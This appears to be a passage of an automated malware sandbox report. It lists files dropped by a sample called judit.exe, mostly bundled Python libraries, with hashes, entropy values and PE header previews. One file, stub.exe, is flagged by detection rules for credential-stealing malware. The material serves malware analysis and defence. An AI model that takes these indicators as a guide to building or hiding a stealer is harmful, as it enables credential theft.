Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......${AT`./.`./.`./.ib..b./..f..b./.+b..b./..f.l./..f+.h./..f,.c./..o..c./.`...../..g'.a./..g/.a./..g..a./..g-.a./.Rich`./.................PE..d...H[!e.........." ...#.T...H......@X....................................................`.........................................p...`......d.......................................................................@............p...............................text...xS.......T.................. ..`.rdata......p...,...X..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_http_parser.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	222208
Entropy (8bit):	6.10752062024038
Encrypted:	false
SSDEEP:	3072:S1KrrHFSNR6H/NOJR7Zk34mplHJS9tSP/IDqF0Lsqy9ldyANDR8BSobY:FrpuJoomplQeP/LdbNqBSo
MD5:	9642C0A5FB72DFE2921DF28E31FAA219
SHA1:	67A963157EE7FC0C30D3807E8635A57750CA0862
SHA-256:	580A004E93BED99820B1584DFFAF0C4CAA9FBBF4852CCDED3B2B99975299367B
SHA-512:	F84B7CDE87186665A700C3017EFCBCC6C19F5DC2C7B426D427DDDBCBDEC38B6189DD60CE03153FB14B6EA938D65AAB99DA33BDA63B48E3E9CE9E5D3555B50A04
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y~Hz.-Hz.-Hz.-A..-Lz.-...,Jz.-...,Jz.-...,Kz.-Hz.-.z.-...,Dz.-...,@z.-...,Kz.-...,Mz.-...,Iz.-...-Iz.-...,Iz.-RichHz.-................PE..d...G[!e.........." ...#............P.....................................................`......................................... ...h.......d.......................................................................@............... ............................text............................... ..`.rdata...}.......~..................@..@.data...hg... ...@..................@....pdata...............L..............@..@.rsrc................\..............@..@.reloc...............^..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_http_writer.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.673090741023562
Encrypted:	false
SSDEEP:	768:WN5I/39NtGriNlBOd9IaLNl+wnxYjCPk:k5w93GriNlkZL7OjCPk
MD5:	E16A71FC322A3A718AEAEAEF0EEEAB76
SHA1:	78872D54D016590DF87208518E3E6515AFCE5F41
SHA-256:	51490359D8079232565187223517ECA99E1CE55BC97B93CF966D2A5C1F2E5435
SHA-512:	A9A7877AA77D000BA2DD7D96CF88A0E9AFB6F6DECB9530C1D4E840C270DD1805E73401266B1C8E17C1418EFFB823C1BD91B13F82DBFC6DBA455940E3E644DE54
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{.T^...^...^...Wb<.\....f..\....b..\....f..R....f..V....f..]....o..]...^........g.._....g.._....gP._....g.._...Rich^...................PE..d...H[!e.........." ...#.L...........P....................................................`.........................................Px..h....x..d....................................o...............................n..@............`...............................text....K.......L.................. ..`.rdata...&...`...(...P..............@..@.data....L...........x..............@....pdata...............~..............@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_websocket.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	23040
Entropy (8bit):	5.36172396663424
Encrypted:	false
SSDEEP:	384:ytkKmbdKYMnRtDiX45KMNFJfuFsNeuAbu63jJBnrKCXsgurE:BKmEYMZJvwscuAb/1R/K
MD5:	9358095A5DC2D4B25FC1C416EEA48D2D
SHA1:	FAAEE08C768E8EB27BC4B2B9D0BF63C416BB8406
SHA-256:	4A5C9F8C3BCA865DF94AC93355E3AD492DE03AE5FEA41C1FA82FA4360C592BA5
SHA-512:	C3D81DDBBE48A56530EA3E2500A78C396385F8CA820B3D71F8E5336AB0C6D484BC2B837AE0A2EDB39D0FE24C37815F1B0CCFE25235197F1AF19E936DDB41E594
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{AX^./.^./.^./.Wb..\./..f..\./..b..\./..f*.R./..f+.V./..f,.]./..o..]./.^...4./..g'._./..g/._./..g.._./..g-._./.Rich^./.........................PE..d...@[!e.........." ...#.(...4.......,....................................................`.........................................`R..d....R..d............p.......................K..............................pJ..@............@..0............................text....'.......(.................. ..`.rdata.......@... ...,..............@..@.data...8....`.......L..............@....pdata.......p.......R..............@..@.rsrc................V..............@..@.reloc...............X..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\charset_normalizer\md.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.675182011095312
Encrypted:	false
SSDEEP:	96:FL8Khp72HzA5iJGhU2Y0hQMsQJCUCLsZEA4elh3XQMtCFaiHrmHcX6g8cim1qeSC:Zj2HzzU2bRYoe4Hmcqgvimoe
MD5:	F33CA57D413E6B5313272FA54DBC8BAA
SHA1:	4E0CABE7D38FE8D649A0A497ED18D4D1CA5F4C44
SHA-256:	9B3D70922DCFAEB02812AFA9030A40433B9D2B58BCF088781F9AB68A74D20664
SHA-512:	F17C06F4202B6EDBB66660D68FF938D4F75B411F9FAB48636C3575E42ABAAB6464D66CB57BCE7F84E8E2B5755B6EF757A820A50C13DD5F85FAA63CD553D3FF32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6..^W..^W..^W..W/..\W..K(..\W.../..\W..K(..UW..K(..VW..K(..]W.."..]W..^W..xW..g.._W..g.._W..g.a._W..g.._W..Rich^W..........PE..d....hAe.........." ...%.....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\charset_normalizer\md__mypyc.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120320
Entropy (8bit):	5.879886869577473
Encrypted:	false
SSDEEP:	3072:YKBCiXU2SBEUemE+OaOb3OEOz0fEDrF9pQKhN:YJZ2zOfdQKX
MD5:	494F5B9ADC1CFB7FDB919C9B1AF346E1
SHA1:	4A5FDDD47812D19948585390F76D5435C4220E6B
SHA-256:	AD9BCC0DE6815516DFDE91BB2E477F8FB5F099D7F5511D0F54B50FA77B721051
SHA-512:	2C0D68DA196075EA30D97B5FD853C673E28949DF2B6BF005AE72FD8B60A0C036F18103C5DE662CAC63BAAEF740B65B4ED2394FCD2E6DA4DFCFBEEF5B64DAB794
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........SRxr.Rxr.Rxr.[...Zxr.G.s.Pxr...s.Pxr.G.w._xr.G.v.Zxr.G.q.Qxr...s.Qxr.Rxs..xr.k.z.Sxr.k.r.Sxr.k...Sxr.k.p.Sxr.RichRxr.........................PE..d....hAe.........." ...%............02....................................... ............`.............................................d..........................................Px...............................w..@............@...............................text...X-.......................... ..`.rdata...X...@...Z...2..............@..@.data...8=.......0..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7222784
Entropy (8bit):	6.562256245544669
Encrypted:	false
SSDEEP:	49152:kIj3ODhYWh0IZ5bAOeTVNsrBIU6ikGtlqQVwASOM3b5AQ4K2yKuAKHu8DzScSCJa:ub2+OAhuAKO2dSCJfR13SOV1UIbLw
MD5:	B364CECDBA4B73C71116781B1C38D40F
SHA1:	59EF6F46BD3F2EC17E78DF8EE426D4648836255A
SHA-256:	10D009A3C97BF908961A19B4AADDC298D32959ACC64BEDF9D2A7F24C0261605B
SHA-512:	999C2DA8E046C9F4103385C7D7DBB3BFDAC883B6292DCA9D67B36830B593F55AC14D6091EB15A41416C0BD65AC3D4A4A2B84F50D13906D36ED5574B275773CE7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v.r.2x..2x..2x..;... x......0x......#x......:x......6x..]...0x..2x...z......#x..]...D{......3x..2x..x......3x......3x..Rich2x..........................PE..d.....9f.........." ...'.rS...........R.......................................n...........`...........................................i.p.....i.\|............`j..O............m......Jc.T....................Kc.(...@Ic.@.............S..............................text....pS......rS................. ..`.rdata.......S......vS.............@..@.data....!...0i.......i.............@....pdata...O...`j..P....j.............@..@.reloc........m......Vm.............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\frozenlist\_frozenlist.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	5.9308989665858585
Encrypted:	false
SSDEEP:	1536:ZmwCw3vZ1w4vI1FxF6S2s0suvV81dvUflo6vp9862WhFo1emYU+:Z/CwxqC+bsNlflo6h93FiemYL
MD5:	911470750962640CEB3FD11E2AEECD14
SHA1:	AF797451D4028841D92F771885CB9D81AFBA3F96
SHA-256:	5C204F6966526AF4DC0C0D6D29909B6F088C4FA781464F2948414D833B03094D
SHA-512:	637043C20DC17FBC472613C0E4F576F0A2211B7916B3488806AEC30271CF1BD84BD790518335B88910662FD4844F8ED39FA75AA278577271A966756B8CD793F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._5..1f..1f..1f.f..1f..0g..1f..0g..1f..4g..1f..5g..1f..2g..1f..0g..1f..0fS.1f.q9g..1f.q1g..1f.q.f..1f.q3g..1fRich..1f........................PE..d.....{e.........." ...%.....t......p.....................................................`.........................................p6..h....6..x............p..4....................&...............................$..@...............(............................text............................... ..`.rdata...I.......J..................@..@.data...P....P.......2..............@....pdata..4....p.......@..............@..@.rsrc................L..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3439512
Entropy (8bit):	6.096012359425593
Encrypted:	false
SSDEEP:	98304:kw+jlHDGV+EafwAlViBksm1CPwDv3uFfJ1:1slHDG2fwAriXm1CPwDv3uFfJ1
MD5:	AB01C808BED8164133E5279595437D3D
SHA1:	0F512756A8DB22576EC2E20CF0CAFEC7786FB12B
SHA-256:	9C0A0A11629CCED6A064932E95A0158EE936739D75A56338702FED97CB0BAD55
SHA-512:	4043CDA02F6950ABDC47413CFD8A0BA5C462F16BCD4F339F9F5A690823F4D0916478CAB5CAE81A3D5B03A8A196E17A716B06AFEE3F92DEC3102E3BBC674774F2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........R.m.R.m.R.m.[...@.m.0.l.P.m.0.h.^.m.0.i.Z.m.0.n.V.m.R.l..m..l.Y.m...n.O.m...i.+.m...m.S.m....S.m...o.S.m.RichR.m.........................PE..d...`.0b.........." ......$...................................................5......4...`..........................................x/..h...:4.@....p4.\|....p2.8....\4.......4..O....,.8...........................`.,.@............04..............................text.....$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata.......p2.......1.............@..@.idata..^#...04..$....3.............@..@.00cfg..u....`4.......3.............@..@.rsrc...\|....p4.......3.............@..@.reloc...y....4..z....3.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\libffi-7.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.3566777719925565
Encrypted:	false
SSDEEP:	384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
MD5:	EEF7981412BE8EA459064D3090F4B3AA
SHA1:	C60DA4830CE27AFC234B3C3014C583F7F0A5A925
SHA-256:	F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
SHA-512:	DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\libssl-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	698784
Entropy (8bit):	5.533720236597082
Encrypted:	false
SSDEEP:	12288:waXWJ978LddzAPcWTWxYx2OCf2QmAr39Zu+DIpEpXKWRq0qwMUxQU2lvz:dddzAjKnD/QGXKzpwMUCU2lvz
MD5:	DE72697933D7673279FB85FD48D1A4DD
SHA1:	085FD4C6FB6D89FFCC9B2741947B74F0766FC383
SHA-256:	ED1C8769F5096AFD000FC730A37B11177FCF90890345071AB7FBCEAC684D571F
SHA-512:	0FD4678C65DA181D7C27B19056D5AB0E5DD0E9714E9606E524CDAD9E46EC4D0B35FE22D594282309F718B30E065F6896674D3EDCE6B3B0C8EB637A3680715C2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{.T.?.:.?.:.?.:.6f..3.:.]f;.=.:..l;.=.:.]f?.3.:.]f>.7.:.]f9.;.:..g;.<.:.?.;...:..g>...:..g:.>.:..g.>.:..g8.>.:.Rich?.:.........PE..d.....0b.........." .....<...T......<................................................[....`.........................................00...N..HE..........s.......\|M..............h... ...8...............................@............0..H............................text....:.......<.................. ..`.rdata..:....P...0...@..............@..@.data...AM.......D...p..............@....pdata..dV.......X..................@..@.idata..PW...0...X..................@..@.00cfg..u............d..............@..@.rsrc...s............f..............@..@.reloc..a............n..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\multidict\_multidict.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.357116643624461
Encrypted:	false
SSDEEP:	768:l8hWKS6To1gSqIcLiRr4NMfDnXRkYcX9srM:lqlSfqIcLiRrnnhkYcth
MD5:	DDD4C0AE1E0D166C22449E9DCDCA20D7
SHA1:	FF0E3D889B4E8BC43B0F13AA1154776B0DF95700
SHA-256:	74EC52418C5D38A63ADD94228C6F68CF49519666AE8BCB7AC199F7D539D8612C
SHA-512:	C8464A77BA8B504BA9C7873F76499174095393C42DC85A9C1BE2875C3661CDA928851E37013E4AC95BA539EED984BF71C0FCC2CB599F3F0C4C1588D4A692BDFD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8T..V...V...V.......V...W...V..W...V...S...V...R...V...U...V.j.W...V...W...V...^...V...V...V.......V...T...V.Rich..V.........................PE..d......e.........." ...%.Z...^.......^....................................................`.........................................p...d......d...............................L.......................................@............p...............................text....Y.......Z.................. ..`.rdata...+...p...,...^..............@..@.data...p#..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..L...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	198568
Entropy (8bit):	6.360283939217406
Encrypted:	false
SSDEEP:	3072:rkPTemtXBsiLC/QOSL6XZIMuPbBV3Dy9zeL9ef93d1BVdOd8dVyio0OwUpz1RPoi:AKmVG/pxIMuPbBFEFDBwpp2W
MD5:	6BC89EBC4014A8DB39E468F54AAAFA5E
SHA1:	68D04E760365F18B20F50A78C60CCFDE52F7FCD8
SHA-256:	DBE6E7BE3A7418811BD5987B0766D8D660190D867CD42F8ED79E70D868E8AA43
SHA-512:	B7A6A383EB131DEB83EEE7CC134307F8545FB7D043130777A8A9A37311B64342E5A774898EDD73D80230AB871C4D0AA0B776187FA4EDEC0CCDE5B9486DBAA626
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O...........6...k.....k.....k.....k.....o............\|.o.....o.....o.Z...o.....Rich..................PE..d....K.b.........." ... ............0................................................0....`.........................................`...P................................)..........@6..T............................5..@............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\python3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64936
Entropy (8bit):	6.1037683983631625
Encrypted:	false
SSDEEP:	768:kD8LeBLeeFtp5V1BfO2yvSk70QZF1nEyjnskQkr/RFB1qucwdBeCw0myou6ZwJqL:kDwewnvtjnsfwaVISQ0a7SydEnn
MD5:	07BD9F1E651AD2409FD0B7D706BE6071
SHA1:	DFEB2221527474A681D6D8B16A5C378847C59D33
SHA-256:	5D78CD1365EA9AE4E95872576CFA4055342F1E80B06F3051CF91D564B6CD09F5
SHA-512:	DEF31D2DF95CB7999CE1F55479B2FF7A3CB70E9FC4778FC50803F688448305454FBBF82B5A75032F182DFF663A6D91D303EF72E3D2CA9F2A1B032956EC1A0E2A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........f..A.e.A.e.A.e.%}m.@.e.%}e.@.e.%}..@.e.%}g.@.e.RichA.e.........................PE..d....K.b.........." ... ..................................................................`.........................................`...`................................)..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\python310.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4493736
Entropy (8bit):	6.465157771728023
Encrypted:	false
SSDEEP:	49152:5vL1txd/8sCmiAiPw+RxtLzli0Im3wOc+28Ivu31WfbF9PtF+FNDHaSclAaBlh7y:Dw7Ad07RmodacSeSHCMTbSp4PS
MD5:	C80B5CB43E5FE7948C3562C1FFF1254E
SHA1:	F73CB1FB9445C96ECD56B984A1822E502E71AB9D
SHA-256:	058925E4BBFCB460A3C00EC824B8390583BAEF0C780A7C7FF01D43D9EEC45F20
SHA-512:	FAA97A9D5D2A0BF78123F19F8657C24921B907268938C26F79E1DF6D667F7BEE564259A3A11022E8629996406CDA9FA00434BB2B1DE3E10B9BDDC59708DBAD81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+.o...o...o.......m.......b.......c.......g.......k...f.`.u......f...o...3..............n.......n.......n...Richo...................PE..d....K.b.........." ... ..#...!.....\|!........................................E.....{.D...`..........................................G=.......>.\|.....E.......B......hD..)....E..t...Q%.T...........................`P%.@.............#.0............................text.....#.......#................. ..`.rdata...\....#..^....#.............@..@.data... ....0>.......>.............@....pdata........B.. ....A.............@..@PyRuntim`.....D.......C.............@....rsrc.........E.......C.............@..@.reloc...t....E..v....C.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\select.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29096
Entropy (8bit):	6.4767692602677815
Encrypted:	false
SSDEEP:	384:rPxHeWt+twhCBsHqF2BMXR6VIS7GuIYiSy1pCQkyw24i/8E9VFL2Ut8JU:ZeS+twhC6HqwmYVIS7GjYiSyv7VeEdH
MD5:	ADC412384B7E1254D11E62E451DEF8E9
SHA1:	04E6DFF4A65234406B9BC9D9F2DCFE8E30481829
SHA-256:	68B80009AB656FFE811D680585FAC3D4F9C1B45F29D48C67EA2B3580EC4D86A1
SHA-512:	F250F1236882668B2686BD42E1C334C60DA7ABEC3A208EBEBDEE84A74D7C4C6B1BC79EED7241BC7012E4EF70A6651A32AA00E32A83F402475B479633581E0B07
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{?t..Q'..Q'..Q'.b.'..Q'.`P&..Q'.`T&..Q'.`U&..Q'.`R&..Q'.`P&..Q'..P'..Q'5hP&..Q'.`\&..Q'.`Q&..Q'.`.'..Q'.`S&..Q'Rich..Q'........................PE..d....K.b.........." ... .....2......................................................l.....`..........................................@..L....@..x....p.......`.......H...)......L....3..T............................2..@............0...............................text............................... ..`.rdata..H....0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1445800
Entropy (8bit):	6.579172773828651
Encrypted:	false
SSDEEP:	24576:tU3g/eNVQHzcayG7b99ZSYR4eXj98nXMuVp+qbLKeq98srCIS:ck3hbEAp8X9Vp+2q2gI
MD5:	926DC90BD9FAF4EFE1700564AA2A1700
SHA1:	763E5AF4BE07444395C2AB11550C70EE59284E6D
SHA-256:	50825EA8B431D86EC228D9FA6B643E2C70044C709F5D9471D779BE63FF18BCD0
SHA-512:	A8703FF97243AA3BC877F71C0514B47677B48834A0F2FEE54E203C0889A79CE37C648243DBFE2EE9E1573B3CA4D49C334E9BFE62541653125861A5398E2FE556
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|{.............e.......g.......g.......g.......g......Po...............g.......g.......g.....g......Rich............PE..d....L.b.........." ... ..................................................... .......`....`..............................................!...................0...........)......\|...Pg..T............................f..@............ ..(............................text............................... ..`.rdata..D.... ......................@..@.data...0A.......8..................@....pdata.......0......................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	18790400
Entropy (8bit):	6.26253757791968
Encrypted:	false
SSDEEP:	98304:Iq1IiZ4t5tLJNDU2gIF7F4ljNpqcC/WneIW+NY9XGzqRIWpAaJTtzmrPqtE/Thv+:decO+NY9Xzrqb5hJmdzKTLOc0a2
MD5:	972D9D2422F1A71BED840709024302F8
SHA1:	E52170710E3C413AE3CFA45FCDECF19DB4AA382C
SHA-256:	1C666DF4EAFAB03ECDE809FFBC40DD60B8AC2FE7BDCA5632C5C4002254E6E564
SHA-512:	3D84252756DCB4820B7794E9A92811D32631B9F3E9BD1A558FD040736B1472C0D00EFB6FF7A13AE3BCD327F3BFAC2B6AD94A5A3DFBC8BA54511A366C4F4727A6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....OXf...............).........".............@.............................P#...........`..................................................p...;.......pU.. ..TJ...........@#.............................`...(................... }...............................text...............................`..`.data...0...........................@....rdata..@....0......................@..@.eh_fram............................@....pdata..TJ... ...L..................@..@.xdata..`....p.......4..............@..@.bss....@ ...@...........................idata...;...p...<..................@....CRT....`............8..............@....tls.................:..............@....rsrc....pU......pU..<..............@..@.reloc.......@#.....................@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1121192
Entropy (8bit):	5.384501252071814
Encrypted:	false
SSDEEP:	12288:bMYYMmuZ63NoQCb5Pfhnzr0ql8L8koM7IRG5eeme6VZyrIBHdQLhfFE+uz9O:AYYuXZV0m8wMMREtV6Vo4uYz9O
MD5:	102BBBB1F33CE7C007AAC08FE0A1A97E
SHA1:	9A8601BEA3E7D4C2FA6394611611CDA4FC76E219
SHA-256:	2CF6C5DEA30BB0584991B2065C052C22D258B6E15384447DCEA193FDCAC5F758
SHA-512:	A07731F314E73F7A9EA73576A89CCB8A0E55E53F9B5B82F53121B97B1814D905B17A2DA9BD2EDA9F9354FC3F15E3DEA7A613D7C9BC98C36BBA653743B24DFC32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(..F...F...F......F..G...F..C...F..B...F..E...F...G...F.C.G...F...G...F...K...F...F...F.......F...D...F.Rich..F.........................PE..d....K.b.........." ... .B...........*.......................................@......Y.....`.............................................X...(........ ...................)...0......@b..T............................a..@............`..x............................text....A.......B.................. ..`.rdata......`.......F..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	98736
Entropy (8bit):	6.474996871326343
Encrypted:	false
SSDEEP:	1536:BxhUQePlHhR46rXHHGI+mAAD4AeDuXMycecb8i10DWZz:Bvk4wHH+mZD4ADAecb8G1
MD5:	F12681A472B9DD04A812E16096514974
SHA1:	6FD102EB3E0B0E6EEF08118D71F28702D1A9067C
SHA-256:	D66C3B47091CEB3F8D3CC165A43D285AE919211A0C0FCB74491EE574D8D464F8
SHA-512:	7D3ACCBF84DE73FB0C5C0DE812A9ED600D39CD7ED0F99527CA86A57CE63F48765A370E913E3A46FFC2CCD48EE07D823DAFDD157710EEF9E7CC1EB7505DC323A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
